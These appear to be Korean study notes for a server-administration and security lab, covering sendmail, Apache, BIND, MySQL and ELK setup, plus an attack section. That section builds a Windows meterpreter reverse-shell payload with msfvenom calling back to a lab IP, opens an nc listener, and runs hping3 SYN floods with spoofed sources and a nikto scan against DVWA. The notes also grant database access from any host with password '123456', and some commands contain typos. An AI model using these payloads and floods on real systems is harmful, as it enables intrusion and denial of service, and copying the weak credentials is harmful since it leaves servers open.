미션 1
해커로부터 오는 이메일 정상화 시키기
su
123456
cd /etc/mail
nano access
100.100.100.1 RELRCT > RELAY로 변경
#st.kr > #해제
makemap hash /etc/mail/access < /etc/mail/access
systemctl restart sendmail
미션2
윈도우 원격연결 활성화 시키기
방화벽에서 3389 포트 열어주기
미션3
lms.st.kr 이라는 사이트가 정상적으로 운영되도록 설정할 것
adduser lms
cd /etc/bind/
nano st.kr.zone
lms IN A 125.246.95.152
systemctl restart named
systemctl restart apache2
cd /etc/apache2/sites-available/
nano hosting.conf
DocumentRoot /home/lms/public_html
ServerName lms.st.kr
ServerAdmin lms@lms.st.kr
ErrorLog /home/lms/public_html/logs/error.log
CustomLog /home/lms/public_html/logs/access.log combined
su lms
chmod 711 $HOME
chomd 755 /public_html
mysql
create database lms;
create user 'lms'@'localhost' identified by '123456';
grant all privileges on lms.*to 'lms'@'localhost';
flush privileges;
create database lms;
create user 'lms'@'192.168.0.208' identified by '123456';
grant all privileges on lms.*to 'lms'@'192.168.0.208';
flush privileges;
create database lms;
create user 'lms'@'%' identified by '123456';
grant all privileges on lms.*to 'lms'@'%';
flush privileges;
exit
systemctl restart mysql
악성코드
msfvenom --platfrom windows -p windows/meterpreter/reverse_tcp LHOST=100.100.100.1 LPORT=4444 -b "|x00"-f exe /home/kali/test.exe
칼리에서 포트 여는 법
nc -l -p 4444
nano /etc/elasticsearch/elasticsearch.yml
network 0.0.0.0으로 변경
curl -X GET "localhost:9200"
systemctl enable elasticsearch
systemctl start elasticsearch
systemctl start nginx
systemctl start kibana
reboot 이후
systemctl start elasticsearch
사이트가 정상 업로드 되면 된거임
올라오면 수동으로 처리할 것 ??
dvwa.st.kr 공격하면
ping > hping3 > nikto > Brute Force(dvwa)
ping dvwa.st.kr
hping3 st.kr -S -i u50 -c 5
hping3 st.kr -a st.kr -S -c 100 -u 5
hping3 125.246.95.254 -a 125.246.95.254 -S -c 10
hping3 --flood --rand-source st.kr
nikto -host dvwa.st.kr
access.log
[3대서버에 설치]
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install filebeat
sudo apt -y install packetbeat
nano /etc/filebeat/filebeat.yml
logstash output
주석 두개 해제 후 10.0.2.3:5044로 변경
nano /etc/packetbeat/packetbeat.yml
selk에 설치
sudo apt -y install logstash